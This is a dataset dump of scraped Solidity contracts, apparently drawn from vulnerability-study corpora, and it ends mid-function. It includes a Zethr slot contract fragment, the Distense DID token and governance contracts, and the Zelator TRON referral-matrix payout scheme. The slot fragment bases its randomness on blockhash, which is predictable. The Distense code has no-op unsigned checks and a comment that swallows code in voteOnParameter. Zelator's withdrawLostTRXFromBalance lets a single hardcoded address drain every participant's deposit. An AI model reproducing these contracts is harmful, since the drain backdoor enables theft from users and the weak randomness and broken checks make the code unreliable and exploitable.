playerSpins[target] = playerSpin(uint200(0), uint48(0));
return result;
}
// a jackpot at the rate you've selected (i.e. 5,000 ZTH for three-moon jackpot on a 10 ZTH roll).
// If not, you're going to have to use lower betting amounts, we're afraid!
function jackpotGuard(uint _wager)
private
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 500);
uint ninetyContractBalance = SafeMath.mul(SafeMath.div(contractBalance, 10), 9);
return (maxProfit <= ninetyContractBalance);
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) {
return uint256(keccak256(abi.encodePacked(blockhash(blockn),
entropy)));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
| 190,059 | 11,166 |
62a506ee3fac89cca5cec4119ce26915142f1165a91ce282e6dfbeb10eb23fc7
| 22,048 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x1a9658c8e0967349af5ffd76b0196a798f5226e4.sol
| 5,059 | 20,219 |
pragma solidity ^0.4.25;
contract Approvable {
mapping(address => bool) public approved;
constructor () public {
approved[msg.sender] = true;
}
function approve(address _address) public onlyApproved {
require(_address != address(0));
approved[_address] = true;
}
function revokeApproval(address _address) public onlyApproved {
require(_address != address(0));
approved[_address] = false;
}
modifier onlyApproved() {
require(approved[msg.sender]);
_;
}
}
contract DIDToken is Approvable {
using SafeMath for uint256;
event LogIssueDID(address indexed to, uint256 numDID);
event LogDecrementDID(address indexed to, uint256 numDID);
event LogExchangeDIDForEther(address indexed to, uint256 numDID);
event LogInvestEtherForDID(address indexed to, uint256 numWei);
address[] public DIDHoldersArray;
address public PullRequestsAddress;
address public DistenseAddress;
uint256 public investmentLimitAggregate = 100000 ether; // This is the max DID all addresses can receive from depositing ether
uint256 public investmentLimitAddress = 100 ether; // This is the max DID any address can receive from Ether deposit
uint256 public investedAggregate = 1 ether;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
struct DIDHolder {
uint256 balance;
uint256 netContributionsDID; // essentially the number of DID remaining for calculating how much ether an account may invest
uint256 DIDHoldersIndex;
uint256 weiInvested;
uint256 tasksCompleted;
}
mapping (address => DIDHolder) public DIDHolders;
constructor () public {
name = "Distense DID";
symbol = "DID";
totalSupply = 0;
decimals = 18;
}
function issueDID(address _recipient, uint256 _numDID) public onlyApproved returns (bool) {
require(_recipient != address(0));
require(_numDID > 0);
_numDID = _numDID * 1 ether;
totalSupply = SafeMath.add(totalSupply, _numDID);
uint256 balance = DIDHolders[_recipient].balance;
DIDHolders[_recipient].balance = SafeMath.add(balance, _numDID);
// If is a new DIDHolder, set their position in DIDHoldersArray
if (DIDHolders[_recipient].DIDHoldersIndex == 0) {
uint256 index = DIDHoldersArray.push(_recipient) - 1;
DIDHolders[_recipient].DIDHoldersIndex = index;
}
emit LogIssueDID(_recipient, _numDID);
return true;
}
function decrementDID(address _address, uint256 _numDID) external onlyApproved returns (uint256) {
require(_address != address(0));
require(_numDID > 0);
uint256 numDID = _numDID * 1 ether;
require(SafeMath.sub(DIDHolders[_address].balance, numDID) >= 0);
require(SafeMath.sub(totalSupply, numDID) >= 0);
totalSupply = SafeMath.sub(totalSupply, numDID);
DIDHolders[_address].balance = SafeMath.sub(DIDHolders[_address].balance, numDID);
// If DIDHolder has exchanged all of their DID remove from DIDHoldersArray
// For minimizing blockchain size and later client query performance
if (DIDHolders[_address].balance == 0) {
deleteDIDHolderWhenBalanceZero(_address);
}
emit LogDecrementDID(_address, numDID);
return DIDHolders[_address].balance;
}
function exchangeDIDForEther(uint256 _numDIDToExchange)
external
returns (uint256) {
uint256 numDIDToExchange = _numDIDToExchange * 1 ether;
uint256 netContributionsDID = getNumContributionsDID(msg.sender);
require(netContributionsDID >= numDIDToExchange);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle());
require(numDIDToExchange < totalSupply);
uint256 numWeiToIssue = calculateNumWeiToIssue(numDIDToExchange, DIDPerEther);
address contractAddress = this;
require(contractAddress.balance >= numWeiToIssue, "DIDToken contract must have sufficient wei");
// Adjust number of DID owned first
DIDHolders[msg.sender].balance = SafeMath.sub(DIDHolders[msg.sender].balance, numDIDToExchange);
DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToExchange);
totalSupply = SafeMath.sub(totalSupply, numDIDToExchange);
msg.sender.transfer(numWeiToIssue);
if (DIDHolders[msg.sender].balance == 0) {
deleteDIDHolderWhenBalanceZero(msg.sender);
}
emit LogExchangeDIDForEther(msg.sender, numDIDToExchange);
return DIDHolders[msg.sender].balance;
}
function investEtherForDID() external payable returns (uint256) {
require(getNumWeiAddressMayInvest(msg.sender) >= msg.value);
require(investedAggregate < investmentLimitAggregate);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = SafeMath.div(distense.getParameterValueByTitle(distense.didPerEtherParameterTitle()), 1 ether);
uint256 numDIDToIssue = calculateNumDIDToIssue(msg.value, DIDPerEther);
require(DIDHolders[msg.sender].netContributionsDID >= numDIDToIssue);
totalSupply = SafeMath.add(totalSupply, numDIDToIssue);
DIDHolders[msg.sender].balance = SafeMath.add(DIDHolders[msg.sender].balance, numDIDToIssue);
DIDHolders[msg.sender].netContributionsDID = SafeMath.sub(DIDHolders[msg.sender].netContributionsDID, numDIDToIssue);
DIDHolders[msg.sender].weiInvested += msg.value;
investedAggregate = investedAggregate + msg.value;
emit LogIssueDID(msg.sender, numDIDToIssue);
emit LogInvestEtherForDID(msg.sender, msg.value);
return DIDHolders[msg.sender].balance;
}
function incrementDIDFromContributions(address _contributor, uint256 _reward) onlyApproved public {
uint256 weiReward = _reward * 1 ether;
DIDHolders[_contributor].netContributionsDID = SafeMath.add(DIDHolders[_contributor].netContributionsDID, weiReward);
}
function incrementTasksCompleted(address _contributor) onlyApproved public returns (bool) {
DIDHolders[_contributor].tasksCompleted++;
return true;
}
function pctDIDOwned(address _address) external view returns (uint256) {
return SafeMath.percent(DIDHolders[_address].balance, totalSupply, 20);
}
function getNumWeiAddressMayInvest(address _contributor) public view returns (uint256) {
uint256 DIDFromContributions = DIDHolders[_contributor].netContributionsDID;
require(DIDFromContributions > 0);
uint256 netUninvestedEther = SafeMath.sub(investmentLimitAddress, DIDHolders[_contributor].weiInvested);
require(netUninvestedEther > 0);
Distense distense = Distense(DistenseAddress);
uint256 DIDPerEther = distense.getParameterValueByTitle(distense.didPerEtherParameterTitle());
return (DIDFromContributions * 1 ether) / DIDPerEther;
}
function rewardContributor(address _contributor, uint256 _reward) external onlyApproved returns (bool) {
uint256 reward = SafeMath.div(_reward, 1 ether);
bool issued = issueDID(_contributor, reward);
if (issued) incrementDIDFromContributions(_contributor, reward);
incrementTasksCompleted(_contributor);
}
function getWeiAggregateMayInvest() public view returns (uint256) {
return SafeMath.sub(investmentLimitAggregate, investedAggregate);
}
function getNumDIDHolders() external view returns (uint256) {
return DIDHoldersArray.length;
}
function getAddressBalance(address _address) public view returns (uint256) {
return DIDHolders[_address].balance;
}
function getNumContributionsDID(address _address) public view returns (uint256) {
return DIDHolders[_address].netContributionsDID;
}
function getWeiInvested(address _address) public view returns (uint256) {
return DIDHolders[_address].weiInvested;
}
function calculateNumDIDToIssue(uint256 msgValue, uint256 DIDPerEther) public pure returns (uint256) {
return SafeMath.mul(msgValue, DIDPerEther);
}
function calculateNumWeiToIssue(uint256 _numDIDToExchange, uint256 _DIDPerEther) public pure returns (uint256) {
_numDIDToExchange = _numDIDToExchange * 1 ether;
return SafeMath.div(_numDIDToExchange, _DIDPerEther);
}
function deleteDIDHolderWhenBalanceZero(address holder) internal {
if (DIDHoldersArray.length > 1) {
address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1];
DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement;
DIDHoldersArray.length--;
delete DIDHolders[holder];
}
}
function deleteDIDHolder(address holder) public onlyApproved {
if (DIDHoldersArray.length > 1) {
address lastElement = DIDHoldersArray[DIDHoldersArray.length - 1];
DIDHoldersArray[DIDHolders[holder].DIDHoldersIndex] = lastElement;
DIDHoldersArray.length--;
delete DIDHolders[holder];
}
}
function setDistenseAddress(address _distenseAddress) onlyApproved public {
DistenseAddress = _distenseAddress;
}
}
contract Distense is Approvable {
using SafeMath for uint256;
address public DIDTokenAddress;
// Titles are what uniquely identify parameters, so query by titles when iterating with clients
bytes32[] public parameterTitles;
struct Parameter {
bytes32 title;
uint256 value;
mapping(address => Vote) votes;
}
struct Vote {
address voter;
uint256 lastVoted;
}
mapping(bytes32 => Parameter) public parameters;
Parameter public votingIntervalParameter;
bytes32 public votingIntervalParameterTitle = 'votingInterval';
Parameter public pctDIDToDetermineTaskRewardParameter;
bytes32 public pctDIDToDetermineTaskRewardParameterTitle = 'pctDIDToDetermineTaskReward';
Parameter public pctDIDRequiredToMergePullRequest;
bytes32 public pctDIDRequiredToMergePullRequestTitle = 'pctDIDRequiredToMergePullRequest';
Parameter public maxRewardParameter;
bytes32 public maxRewardParameterTitle = 'maxReward';
Parameter public numDIDRequiredToApproveVotePullRequestParameter;
bytes32 public numDIDRequiredToApproveVotePullRequestParameterTitle = 'numDIDReqApproveVotePullRequest';
Parameter public numDIDRequiredToTaskRewardVoteParameter;
bytes32 public numDIDRequiredToTaskRewardVoteParameterTitle = 'numDIDRequiredToTaskRewardVote';
Parameter public minNumberOfTaskRewardVotersParameter;
bytes32 public minNumberOfTaskRewardVotersParameterTitle = 'minNumberOfTaskRewardVoters';
Parameter public numDIDRequiredToAddTaskParameter;
bytes32 public numDIDRequiredToAddTaskParameterTitle = 'numDIDRequiredToAddTask';
Parameter public defaultRewardParameter;
bytes32 public defaultRewardParameterTitle = 'defaultReward';
Parameter public didPerEtherParameter;
bytes32 public didPerEtherParameterTitle = 'didPerEther';
Parameter public votingPowerLimitParameter;
bytes32 public votingPowerLimitParameterTitle = 'votingPowerLimit';
event LogParameterValueUpdate(bytes32 title, uint256 value);
constructor (address _DIDTokenAddress) public {
DIDTokenAddress = _DIDTokenAddress;
// Launch Distense with some votable parameters
// that can be later updated by contributors
// Current values can be found at https://disten.se/parameters
// Percentage of DID that must vote on a proposal for it to be approved and payable
pctDIDToDetermineTaskRewardParameter = Parameter({
title : pctDIDToDetermineTaskRewardParameterTitle,
// So this is 15.00%
value: 15 * 1 ether
});
parameters[pctDIDToDetermineTaskRewardParameterTitle] = pctDIDToDetermineTaskRewardParameter;
parameterTitles.push(pctDIDToDetermineTaskRewardParameterTitle);
pctDIDRequiredToMergePullRequest = Parameter({
title : pctDIDRequiredToMergePullRequestTitle,
value: 10 * 1 ether
});
parameters[pctDIDRequiredToMergePullRequestTitle] = pctDIDRequiredToMergePullRequest;
parameterTitles.push(pctDIDRequiredToMergePullRequestTitle);
votingIntervalParameter = Parameter({
title : votingIntervalParameterTitle,
value: 1296000 * 1 ether// 15 * 86400 = 1.296e+6
});
parameters[votingIntervalParameterTitle] = votingIntervalParameter;
parameterTitles.push(votingIntervalParameterTitle);
maxRewardParameter = Parameter({
title : maxRewardParameterTitle,
value: 2000 * 1 ether
});
parameters[maxRewardParameterTitle] = maxRewardParameter;
parameterTitles.push(maxRewardParameterTitle);
numDIDRequiredToApproveVotePullRequestParameter = Parameter({
title : numDIDRequiredToApproveVotePullRequestParameterTitle,
// 100 DID
value: 100 * 1 ether
});
parameters[numDIDRequiredToApproveVotePullRequestParameterTitle] = numDIDRequiredToApproveVotePullRequestParameter;
parameterTitles.push(numDIDRequiredToApproveVotePullRequestParameterTitle);
// This parameter is the number of DID an account must own to vote on a task's reward
// The task reward is the number of DID payable upon successful completion and approval of a task
// This parameter mostly exists to get the percentage of DID that have voted higher per voter
// as looping through voters to determineReward()s is gas-expensive.
// This parameter also limits attacks by noobs that want to mess with Distense.
numDIDRequiredToTaskRewardVoteParameter = Parameter({
title : numDIDRequiredToTaskRewardVoteParameterTitle,
// 100
value: 100 * 1 ether
});
parameters[numDIDRequiredToTaskRewardVoteParameterTitle] = numDIDRequiredToTaskRewardVoteParameter;
parameterTitles.push(numDIDRequiredToTaskRewardVoteParameterTitle);
minNumberOfTaskRewardVotersParameter = Parameter({
title : minNumberOfTaskRewardVotersParameterTitle,
// 7
value: 7 * 1 ether
});
parameters[minNumberOfTaskRewardVotersParameterTitle] = minNumberOfTaskRewardVotersParameter;
parameterTitles.push(minNumberOfTaskRewardVotersParameterTitle);
numDIDRequiredToAddTaskParameter = Parameter({
title : numDIDRequiredToAddTaskParameterTitle,
// 100
value: 100 * 1 ether
});
parameters[numDIDRequiredToAddTaskParameterTitle] = numDIDRequiredToAddTaskParameter;
parameterTitles.push(numDIDRequiredToAddTaskParameterTitle);
defaultRewardParameter = Parameter({
title : defaultRewardParameterTitle,
// 100
value: 100 * 1 ether
});
parameters[defaultRewardParameterTitle] = defaultRewardParameter;
parameterTitles.push(defaultRewardParameterTitle);
didPerEtherParameter = Parameter({
title : didPerEtherParameterTitle,
// 1000
value: 200 * 1 ether
});
parameters[didPerEtherParameterTitle] = didPerEtherParameter;
parameterTitles.push(didPerEtherParameterTitle);
votingPowerLimitParameter = Parameter({
title : votingPowerLimitParameterTitle,
// 20.00%
value: 20 * 1 ether
});
parameters[votingPowerLimitParameterTitle] = votingPowerLimitParameter;
parameterTitles.push(votingPowerLimitParameterTitle);
}
function getParameterValueByTitle(bytes32 _title) public view returns (uint256) {
return parameters[_title].value;
}
function voteOnParameter(bytes32 _title, int256 _voteValue)
public
votingIntervalReached(msg.sender, _title)
returns
(uint256) {
DIDToken didToken = DIDToken(DIDTokenAddress);
uint256 votersDIDPercent = didToken.pctDIDOwned(msg.sender);
require(votersDIDPercent > 0);
uint256 currentValue = getParameterValueByTitle(_title);
// of DID
uint256 votingPowerLimit = getParameterValueByTitle(votingPowerLimitParameterTitle);
uint256 limitedVotingPower = votersDIDPercent > votingPowerLimit ? votingPowerLimit : votersDIDPercent;
uint256 update;
if (_voteValue == 1 || // maximum upvote
_voteValue == - 1 || // minimum downvote
_voteValue > int(limitedVotingPower) || // vote value greater than votingPowerLimit
_voteValue < - int(limitedVotingPower) // vote value greater than votingPowerLimit absolute value) {
update = (limitedVotingPower * currentValue) / (100 * 1 ether);
} else if (_voteValue > 0) {
update = SafeMath.div((uint(_voteValue) * currentValue), (1 ether * 100));
} else if (_voteValue < 0) {
int256 adjustedVoteValue = (-_voteValue); // make the voteValue positive and convert to on-chain decimals
update = uint((adjustedVoteValue * int(currentValue))) / (100 * 1 ether);
} else revert(); // If _voteValue is 0 refund gas to voter
if (_voteValue > 0)
currentValue = SafeMath.add(currentValue, update);
else
currentValue = SafeMath.sub(currentValue, update);
updateParameterValue(_title, currentValue);
updateLastVotedOnParameter(_title, msg.sender);
emit LogParameterValueUpdate(_title, currentValue);
return currentValue;
}
function getParameterByTitle(bytes32 _title) public view returns (bytes32, uint256) {
Parameter memory param = parameters[_title];
return (param.title, param.value);
}
function getNumParameters() public view returns (uint256) {
return parameterTitles.length;
}
function updateParameterValue(bytes32 _title, uint256 _newValue) internal returns (uint256) {
Parameter storage parameter = parameters[_title];
parameter.value = _newValue;
return parameter.value;
}
function updateLastVotedOnParameter(bytes32 _title, address voter) internal returns (bool) {
Parameter storage parameter = parameters[_title];
parameter.votes[voter].lastVoted = now;
}
function setDIDTokenAddress(address _didTokenAddress) public onlyApproved {
DIDTokenAddress = _didTokenAddress;
}
modifier votingIntervalReached(address _voter, bytes32 _title) {
Parameter storage parameter = parameters[_title];
uint256 lastVotedOnParameter = parameter.votes[_voter].lastVoted * 1 ether;
require((now * 1 ether) >= lastVotedOnParameter + getParameterValueByTitle(votingIntervalParameterTitle));
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function percent(uint numerator, uint denominator, uint precision) public pure
returns(uint quotient) {
// caution, check safe-to-multiply here
uint _numerator = numerator * 10 ** (precision + 1);
// with rounding of last digit
uint _quotient = ((_numerator / denominator) + 5) / 10;
return _quotient;
}
}
| 215,462 | 11,167 |
a92cb3e3c99896442cc593ed71f4f4b01032ba2aa989da5c1d7c4732598f8410
| 20,480 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TB/TBYAfHkyVNry3PgSTHgSaNNkZPqtrFbD4v_Zelator.sol
| 5,105 | 19,447 |
//SourceUnit: Zelator.sol
pragma solidity 0.5.10;
contract Zelator {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeF3Levels;
mapping(uint8 => bool) activeF6Levels;
mapping(uint8 => F3) f3Matrix;
mapping(uint8 => F6) f6Matrix;
}
struct F3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct F6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 16;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
uint public lastUserId = 2;
address public owner;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address ownerAddress) public {
levelPrice[1] = 50 trx;
levelPrice[2] = 100 trx;
levelPrice[3] = 200 trx;
levelPrice[4] = 400 trx;
levelPrice[5] = 800 trx;
levelPrice[6] = 1600 trx;
levelPrice[7] = 3200 trx;
levelPrice[8] = 6400 trx;
levelPrice[9] = 12800 trx;
levelPrice[10] = 25600 trx;
levelPrice[11] = 51200 trx;
levelPrice[12] = 102400 trx;
levelPrice[13] = 204800 trx;
levelPrice[14] = 409600 trx;
levelPrice[15] = 819200 trx;
levelPrice[16] = 1638400 trx;
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[ownerAddress].activeF3Levels[i] = true;
users[ownerAddress].activeF6Levels[i] = true;
}
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function withdrawLostTRXFromBalance() public {
require(msg.sender == 0x1485F59331B01FDDddeAFcf9A0be3a325dD420fB, "onlyOwner");
0x1485F59331B01FDDddeAFcf9A0be3a325dD420fB.transfer(address(this).balance);
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(users[msg.sender].activeF3Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeF3Levels[level], "level already activated");
if (users[msg.sender].f3Matrix[level-1].blocked) {
users[msg.sender].f3Matrix[level-1].blocked = false;
}
address freeF3Referrer = findFreeF3Referrer(msg.sender, level);
users[msg.sender].f3Matrix[level].currentReferrer = freeF3Referrer;
users[msg.sender].activeF3Levels[level] = true;
updateF3Referrer(msg.sender, freeF3Referrer, level);
emit Upgrade(msg.sender, freeF3Referrer, 1, level);
} else {
require(users[msg.sender].activeF6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeF6Levels[level], "level already activated");
if (users[msg.sender].f6Matrix[level-1].blocked) {
users[msg.sender].f6Matrix[level-1].blocked = false;
}
address freeF6Referrer = findFreeF6Referrer(msg.sender, level);
users[msg.sender].activeF6Levels[level] = true;
updateF6Referrer(msg.sender, freeF6Referrer, level);
emit Upgrade(msg.sender, freeF6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private {
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
require(msg.value == levelPrice[currentStartingLevel] * 2, "invalid registration cost");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeF3Levels[1] = true;
users[userAddress].activeF6Levels[1] = true;
lastUserId++;
users[referrerAddress].partnersCount++;
address freeF3Referrer = findFreeF3Referrer(userAddress, 1);
users[userAddress].f3Matrix[1].currentReferrer = freeF3Referrer;
updateF3Referrer(userAddress, freeF3Referrer, 1);
updateF6Referrer(userAddress, findFreeF6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateF3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].f3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].f3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].f3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].f3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeF3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].f3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeF3Referrer(referrerAddress, level);
if (users[referrerAddress].f3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].f3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].f3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateF3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(owner, userAddress, 1, level);
users[owner].f3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateF6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeF6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].f6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].f6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].f6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].f6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == owner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].f6Matrix[level].currentReferrer;
users[ref].f6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].f6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].f6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].f6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].f6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].f6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].f6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].f6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].f6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateF6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].f6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].f6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].f6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].f6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].f6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].f6Matrix[level].closedPart)) {
updateF6(userAddress, referrerAddress, level, true);
return updateF6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].f6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].f6Matrix[level].closedPart) {
updateF6(userAddress, referrerAddress, level, true);
return updateF6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateF6(userAddress, referrerAddress, level, false);
return updateF6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].f6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateF6(userAddress, referrerAddress, level, false);
return updateF6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].f6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateF6(userAddress, referrerAddress, level, true);
return updateF6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[0]].f6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[1]].f6Matrix[level].firstLevelReferrals.length) {
updateF6(userAddress, referrerAddress, level, false);
} else {
updateF6(userAddress, referrerAddress, level, true);
}
updateF6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateF6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[0]].f6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].f6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[0]].f6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[0]].f6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].f6Matrix[level].currentReferrer = users[referrerAddress].f6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[1]].f6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].f6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[1]].f6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].f6Matrix[level].firstLevelReferrals[1]].f6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].f6Matrix[level].currentReferrer = users[referrerAddress].f6Matrix[level].firstLevelReferrals[1];
}
}
function updateF6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].f6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory f6 = users[users[referrerAddress].f6Matrix[level].currentReferrer].f6Matrix[level].firstLevelReferrals;
if (f6.length == 2) {
if (f6[0] == referrerAddress ||
f6[1] == referrerAddress) {
users[users[referrerAddress].f6Matrix[level].currentReferrer].f6Matrix[level].closedPart = referrerAddress;
} else if (f6.length == 1) {
if (f6[0] == referrerAddress) {
